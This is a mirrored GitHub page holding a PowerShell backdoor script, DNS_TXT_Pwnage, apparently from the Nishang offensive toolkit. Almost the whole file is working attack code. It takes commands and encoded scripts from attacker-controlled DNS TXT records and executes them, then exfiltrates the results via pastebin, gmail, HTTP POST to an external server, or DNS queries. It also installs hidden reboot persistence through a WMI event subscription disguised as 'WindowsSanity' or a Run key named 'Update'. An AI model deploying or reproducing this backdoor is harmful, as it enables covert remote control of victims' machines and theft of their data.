mirror of
https://github.com/tennc/webshell
synced 2024-11-26 13:10:17 +00:00
300ccb3c8d
Antak-WebShell
393 lines
16 KiB
PowerShell
393 lines
16 KiB
PowerShell
|
||
<#
|
||
.SYNOPSIS
|
||
Payload which acts as a backdoor and is capable of recieving commands and PowerShell scripts from DNS TXT queries.
|
||
|
||
.DESCRIPTION
|
||
This payload continuously queries a subdomain's TXT records. It could be sent commands and powershell scripts to be
|
||
executed on the target machine by TXT messages of a domain. The powershell scripts which would be served as TXT record
|
||
MUST be encoded using Invoke-Encode.ps1 in the utility folder.
|
||
If using DNS or Webserver ExfilOption, use Invoke-Decode.ps1 in the Utility folder to decode.
|
||
|
||
.PARAMETER startdomain
|
||
The domain (or subdomain) whose TXT records would be checked regularly for further instructions.
|
||
|
||
.PARAMETER cmdstring
|
||
The string, if responded by TXT record of startdomain, will make the payload query "commanddomain" for commands.
|
||
|
||
.PARAMETER commanddomain
|
||
The domain (or subdomain) whose TXT records would be used to issue commands to the payload.
|
||
|
||
.PARAMETER psstring
|
||
The string, if responded by TXT record of startdomain, will make the payload query "psdomain" for encoded powershell script.
|
||
|
||
.PARAMETER psdomain
|
||
The domain (or subdomain) which would be used to provide powershell scripts from its TXT records.
|
||
|
||
.PARAMETER stopstring
|
||
The string, if responded by TXT record of startdomain, will stop this payload on the target.
|
||
|
||
.PARAMETER AUTHNS
|
||
Authoritative Name Server for the domains (or startdomain in case you are using separate domains). Startdomain
|
||
would be changed for commands and an authoritative reply shoudl reflect changes immediately.
|
||
|
||
.PARAMETER exfil
|
||
Use this option for using exfiltration
|
||
|
||
.PARAMETER ExfilOption
|
||
The method you want to use for exfitration of data. Valid options are "gmail","pastebin","WebServer" and "DNS".
|
||
|
||
.PARAMETER dev_key
|
||
The Unique API key provided by pastebin when you register a free account.
|
||
Unused for other options
|
||
|
||
.PARAMETER username
|
||
Username for the pastebin/gmail account where data would be exfiltrated.
|
||
Unused for other options
|
||
|
||
.PARAMETER password
|
||
Password for the pastebin/gmail account where data would be exfiltrated.
|
||
Unused for other options
|
||
|
||
.PARAMETER URL
|
||
The URL of the webserver where POST requests would be sent.
|
||
|
||
.PARAMETER DomainName
|
||
The DomainName, whose subdomains would be used for sending TXT queries to.
|
||
|
||
.PARAMETER ExfilNS
|
||
Authoritative Name Server for the domain specified in DomainName.
|
||
|
||
.PARAMETER persist
|
||
Use this parameter for reboot persistence
|
||
|
||
.PARAMETER NoLoadFunction
|
||
This parameter is used for specifying that the script used in txt records $psdomain does NOT contain a function.
|
||
If the parameter is not specified the payload assumes that the script pulled from txt records would need function name to be executed.
|
||
This would be the case if you are using Nishang scripts with this backdoor.
|
||
|
||
.EXAMPLE
|
||
PS > DNS_TXT_Pwnage
|
||
The payload will ask for all required options.
|
||
|
||
.EXAMPLE
|
||
PS > DNS_TXT_Pwnage start.alteredsecurity.com begincommands command.alteredsecurity.com startscript encscript.alteredsecurity.com stop ns8.zoneedit.com
|
||
In the above example if you want to execute commands. TXT record of start.alteredsecurity.com
|
||
must contain only "begincommands" and command.alteredsecurity.com should conatin a single command
|
||
you want to execute. The TXT record could be changed live and the payload will pick up updated
|
||
record to execute new command.
|
||
|
||
To execute a script in above example, start.alteredsecurity.com must contain "startscript". As soon it matches, the payload will query
|
||
psdomain looking for a base64encoded powershell script. Use the StringToBase64 function to encode scripts to base64.
|
||
|
||
.EXAMPLE
|
||
PS > DNS_TXT_Pwnage start.alteredsecurity.com begincommands command.alteredsecurity.com startscript encscript.alteredsecurity.com stop ns8.zoneedit.com -exfil -ExfilOption Webserver -URL http://192.168.254.183/catchpost.php
|
||
Use above command for using sending POST request to your webserver which is able to log the requests.
|
||
|
||
.EXAMPLE
|
||
PS > DNS_TXT_Pwnage -persist
|
||
Use above for reboot persistence.
|
||
|
||
.LINK
|
||
http://labofapenetrationtester.com/
|
||
https://github.com/samratashok/nishang
|
||
#>
|
||
|
||
|
||
|
||
|
||
function DNS_TXT_Pwnage
|
||
{
|
||
[CmdletBinding(DefaultParameterSetName="noexfil")] Param(
|
||
[Parameter(Parametersetname="exfil")]
|
||
[Switch]
|
||
$persist,
|
||
|
||
[Parameter(Parametersetname="exfil")]
|
||
[Switch]
|
||
$exfil,
|
||
|
||
[Parameter(Parametersetname="exfil")]
|
||
[Switch]
|
||
$NoLoadFunction,
|
||
|
||
[Parameter(Position = 0, Mandatory = $True, Parametersetname="exfil")]
|
||
[Parameter(Position = 0, Mandatory = $True, Parametersetname="noexfil")]
|
||
[String]
|
||
$startdomain,
|
||
|
||
[Parameter(Position = 1, Mandatory = $True, Parametersetname="exfil")]
|
||
[Parameter(Position = 1, Mandatory = $True, Parametersetname="noexfil")]
|
||
[String]
|
||
$cmdstring,
|
||
|
||
[Parameter(Position = 2, Mandatory = $True, Parametersetname="exfil")]
|
||
[Parameter(Position = 2, Mandatory = $True, Parametersetname="noexfil")]
|
||
[String]
|
||
$commanddomain,
|
||
|
||
[Parameter(Position = 3, Mandatory = $True, Parametersetname="exfil")]
|
||
[Parameter(Position = 3, Mandatory = $True, Parametersetname="noexfil")]
|
||
[String]
|
||
$psstring,
|
||
|
||
[Parameter(Position = 4, Mandatory = $True, Parametersetname="exfil")]
|
||
[Parameter(Position = 4, Mandatory = $True, Parametersetname="noexfil")]
|
||
[String]
|
||
$psdomain,
|
||
|
||
[Parameter(Position = 5, Mandatory = $True, Parametersetname="exfil")]
|
||
[Parameter(Position = 5, Mandatory = $True, Parametersetname="noexfil")]
|
||
[String]
|
||
$StopString,
|
||
|
||
[Parameter(Position = 6, Mandatory = $True, Parametersetname="exfil")]
|
||
[Parameter(Position = 6, Mandatory = $True, Parametersetname="noexfil")]
|
||
[String]$AuthNS,
|
||
|
||
[Parameter(Position = 7, Mandatory = $False, Parametersetname="exfil")] [ValidateSet("gmail","pastebin","WebServer","DNS")]
|
||
[String]
|
||
$ExfilOption,
|
||
|
||
[Parameter(Position = 8, Mandatory = $False, Parametersetname="exfil")]
|
||
[String]
|
||
$dev_key = "null",
|
||
|
||
[Parameter(Position = 9, Mandatory = $False, Parametersetname="exfil")]
|
||
[String]
|
||
$username = "null",
|
||
|
||
[Parameter(Position = 10, Mandatory = $False, Parametersetname="exfil")]
|
||
[String]
|
||
$password = "null",
|
||
|
||
[Parameter(Position = 11, Mandatory = $False, Parametersetname="exfil")]
|
||
[String]
|
||
$URL = "null",
|
||
|
||
[Parameter(Position = 12, Mandatory = $False, Parametersetname="exfil")]
|
||
[String]
|
||
$DomainName = "null",
|
||
|
||
[Parameter(Position = 13, Mandatory = $False, Parametersetname="exfil")]
|
||
[String]
|
||
$ExfilNS = "null"
|
||
|
||
)
|
||
|
||
$body = @'
|
||
function DNS-TXT-Logic ($Startdomain, $cmdstring, $commanddomain, $psstring, $psdomain, $Stopstring, $AuthNS, $ExfilOption, $dev_key, $username, $password, $URL, $DomainName, $ExfilNS, $exfil, $LoadFunction)
|
||
{
|
||
while($true)
|
||
{
|
||
$exec = 0
|
||
start-sleep -seconds 5
|
||
$getcode = (Invoke-Expression "nslookup -querytype=txt $startdomain $AuthNS")
|
||
$tmp = $getcode | select-string -pattern "`""
|
||
$startcode = $tmp -split("`"")[0]
|
||
if ($startcode[1] -eq $cmdstring)
|
||
{
|
||
start-sleep -seconds 5
|
||
$getcommand = (Invoke-Expression "nslookup -querytype=txt $commanddomain $AuthNS")
|
||
$temp = $getcommand | select-string -pattern "`""
|
||
$command = $temp -split("`"")[0]
|
||
$pastevalue = Invoke-Expression $command[1]
|
||
$pastevalue
|
||
$exec++
|
||
if ($exfil -eq $True)
|
||
{
|
||
$pastename = $env:COMPUTERNAME + " Results of DNS TXT Pwnage: "
|
||
Do-Exfiltration "$pastename" "$pastevalue" "$ExfilOption" "$dev_key" "$username" "$password" "$URL" "$DomainName" "$ExfilNS"
|
||
}
|
||
if ($exec -eq 1)
|
||
{
|
||
Start-Sleep -Seconds 60
|
||
}
|
||
}
|
||
|
||
if ($startcode[1] -match $psstring)
|
||
{
|
||
|
||
$getcommand = (Invoke-Expression "nslookup -querytype=txt $psdomain $AuthNS")
|
||
$temp = $getcommand | select-string -pattern "`""
|
||
$tmp1 = ""
|
||
foreach ($txt in $temp)
|
||
{
|
||
$tmp1 = $tmp1 + $txt
|
||
}
|
||
$encdata = $tmp1 -replace '\s+', "" -replace "`"", ""
|
||
#Decode the downloaded powershell script. The decoding logic is of Invoke-Decode in Utility directory.
|
||
$dec = [System.Convert]::FromBase64String($encdata)
|
||
$ms = New-Object System.IO.MemoryStream
|
||
$ms.Write($dec, 0, $dec.Length)
|
||
$ms.Seek(0,0) | Out-Null
|
||
$cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress)
|
||
$sr = New-Object System.IO.StreamReader($cs)
|
||
$command = $sr.readtoend()
|
||
# Check for the function loaded by the script.
|
||
$preloading = Get-ChildItem function:\
|
||
Invoke-Expression $command
|
||
$postloading = Get-ChildItem function:\
|
||
$diffobj = Compare-Object $preloading $postloading
|
||
$FunctionName = $diffobj.InputObject.Name
|
||
$pastevalue = Invoke-Expression $FunctionName
|
||
if ($NoLoadFunction -eq $True)
|
||
{
|
||
$pastevalue = Invoke-Expression $command
|
||
}
|
||
$pastevalue
|
||
$exec++
|
||
if ($exfil -eq $True)
|
||
{
|
||
$pastename = $env:COMPUTERNAME + " Results of DNS TXT Pwnage: "
|
||
Do-Exfiltration "$pastename" "$pastevalue" "$ExfilOption" "$dev_key" "$username" "$password" "$URL" "$DomainName" "$ExfilNS"
|
||
}
|
||
if ($exec -eq 1)
|
||
{
|
||
Start-Sleep -Seconds 60
|
||
}
|
||
|
||
}
|
||
|
||
if($startcode[1] -eq $StopString)
|
||
{
|
||
break
|
||
}
|
||
}
|
||
}
|
||
'@
|
||
|
||
$exfiltration = @'
|
||
function Do-Exfiltration($pastename,$pastevalue,$ExfilOption,$dev_key,$username,$password,$URL,$DomainName,$ExfilNS)
|
||
{
|
||
function post_http($url,$parameters)
|
||
{
|
||
$http_request = New-Object -ComObject Msxml2.XMLHTTP
|
||
$http_request.open("POST", $url, $false)
|
||
$http_request.setRequestHeader("Content-type","application/x-www-form-urlencoded")
|
||
$http_request.setRequestHeader("Content-length", $parameters.length);
|
||
$http_request.setRequestHeader("Connection", "close")
|
||
$http_request.send($parameters)
|
||
$script:session_key=$http_request.responseText
|
||
}
|
||
|
||
function Compress-Encode
|
||
{
|
||
#Compression logic from http://blog.karstein-consulting.com/2010/10/19/how-to-embedd-compressed-scripts-in-other-powershell-scripts/
|
||
$encdata = [string]::Join("`n", $pastevalue)
|
||
$ms = New-Object System.IO.MemoryStream
|
||
$cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Compress)
|
||
$sw = New-Object System.IO.StreamWriter($cs)
|
||
$sw.Write($encdata)
|
||
$sw.Close();
|
||
$Compressed = [Convert]::ToBase64String($ms.ToArray())
|
||
$Compressed
|
||
}
|
||
|
||
if ($exfiloption -eq "pastebin")
|
||
{
|
||
$utfbytes = [System.Text.Encoding]::UTF8.GetBytes($Data)
|
||
$pastevalue = [System.Convert]::ToBase64String($utfbytes)
|
||
post_http "https://pastebin.com/api/api_login.php" "api_dev_key=$dev_key&api_user_name=$username&api_user_password=$password"
|
||
post_http "https://pastebin.com/api/api_post.php" "api_user_key=$session_key&api_option=paste&api_dev_key=$dev_key&api_paste_name=$pastename&api_paste_code=$pastevalue&api_paste_private=2"
|
||
}
|
||
|
||
elseif ($exfiloption -eq "gmail")
|
||
{
|
||
#http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
|
||
$smtpserver = <20>smtp.gmail.com<6F>
|
||
$msg = new-object Net.Mail.MailMessage
|
||
$smtp = new-object Net.Mail.SmtpClient($smtpServer )
|
||
$smtp.EnableSsl = $True
|
||
$smtp.Credentials = New-Object System.Net.NetworkCredential(<28>$username<6D>, <20>$password<72>);
|
||
$msg.From = <20>$username@gmail.com<6F>
|
||
$msg.To.Add(<28>$username@gmail.com<6F>)
|
||
$msg.Subject = $pastename
|
||
$msg.Body = $pastevalue
|
||
if ($filename)
|
||
{
|
||
$att = new-object Net.Mail.Attachment($filename)
|
||
$msg.Attachments.Add($att)
|
||
}
|
||
$smtp.Send($msg)
|
||
}
|
||
|
||
elseif ($exfiloption -eq "webserver")
|
||
{
|
||
$Data = Compress-Encode
|
||
post_http $URL $Data
|
||
}
|
||
elseif ($ExfilOption -eq "DNS")
|
||
{
|
||
$lengthofsubstr = 0
|
||
$code = Compress-Encode
|
||
$queries = [int]($code.Length/63)
|
||
while ($queries -ne 0)
|
||
{
|
||
$querystring = $code.Substring($lengthofsubstr,63)
|
||
Invoke-Expression "nslookup -querytype=txt $querystring.$DomainName $ExfilNS"
|
||
$lengthofsubstr += 63
|
||
$queries -= 1
|
||
}
|
||
$mod = $code.Length%63
|
||
$query = $code.Substring($code.Length - $mod, $mod)
|
||
Invoke-Expression "nslookup -querytype=txt $query.$DomainName $ExfilNS"
|
||
|
||
}
|
||
}
|
||
'@
|
||
|
||
|
||
$modulename = "DNS_TXT_Pwnage.ps1"
|
||
if($persist -eq $True)
|
||
{
|
||
$name = "persist.vbs"
|
||
$options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Stopstring $AuthNS $LoadFuntion"
|
||
if ($exfil -eq $True)
|
||
{
|
||
$options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Stopstring $AuthNS $ExfilOption $dev_key $username $password $URL $DomainName $ExfilNS $exfil $LoadFunction"
|
||
}
|
||
Out-File -InputObject $body -Force $env:TEMP\$modulename
|
||
Out-File -InputObject $exfiltration -Append $env:TEMP\$modulename
|
||
Out-File -InputObject $options -Append $env:TEMP\$modulename
|
||
echo "Set objShell = CreateObject(`"Wscript.shell`")" > $env:TEMP\$name
|
||
echo "objShell.run(`"powershell -WindowStyle Hidden -executionpolicy bypass -file $env:temp\$modulename`")" >> $env:TEMP\$name
|
||
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
|
||
if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -eq $true)
|
||
{
|
||
$scriptpath = $env:TEMP
|
||
$scriptFileName = "$scriptpath\$name"
|
||
$filterNS = "root\cimv2"
|
||
$wmiNS = "root\subscription"
|
||
$query = @"
|
||
Select * from __InstanceCreationEvent within 30
|
||
where targetInstance isa 'Win32_LogonSession'
|
||
"@
|
||
$filterName = "WindowsSanity"
|
||
$filterPath = Set-WmiInstance -Class __EventFilter -Namespace $wmiNS -Arguments @{name=$filterName; EventNameSpace=$filterNS; QueryLanguage="WQL"; Query=$query}
|
||
$consumerPath = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace $wmiNS -Arguments @{name="WindowsSanity"; ScriptFileName=$scriptFileName; ScriptingEngine="VBScript"}
|
||
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace $wmiNS -arguments @{Filter=$filterPath; Consumer=$consumerPath} | out-null
|
||
}
|
||
else
|
||
{
|
||
New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Update -PropertyType String -Value $env:TEMP\$name -force
|
||
echo "Set objShell = CreateObject(`"Wscript.shell`")" > $env:TEMP\$name
|
||
echo "objShell.run(`"powershell -WindowStyle Hidden -executionpolicy bypass -file $env:temp\$modulename`")" >> $env:TEMP\$name
|
||
}
|
||
}
|
||
else
|
||
{
|
||
$options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Stopstring $AuthNS $LoadFuntion"
|
||
|
||
if ($exfil -eq $True)
|
||
{
|
||
$options = "DNS-TXT-Logic $Startdomain $cmdstring $commanddomain $psstring $psdomain $Stopstring $AuthNS $ExfilOption $dev_key $username $password $URL $DomainName $ExfilNS $exfil $LoadFunction"
|
||
}
|
||
Out-File -InputObject $body -Force $env:TEMP\$modulename
|
||
Out-File -InputObject $exfiltration -Append $env:TEMP\$modulename
|
||
Out-File -InputObject $options -Append $env:TEMP\$modulename
|
||
Invoke-Expression $env:TEMP\$modulename
|
||
}
|
||
|
||
}
|
||
|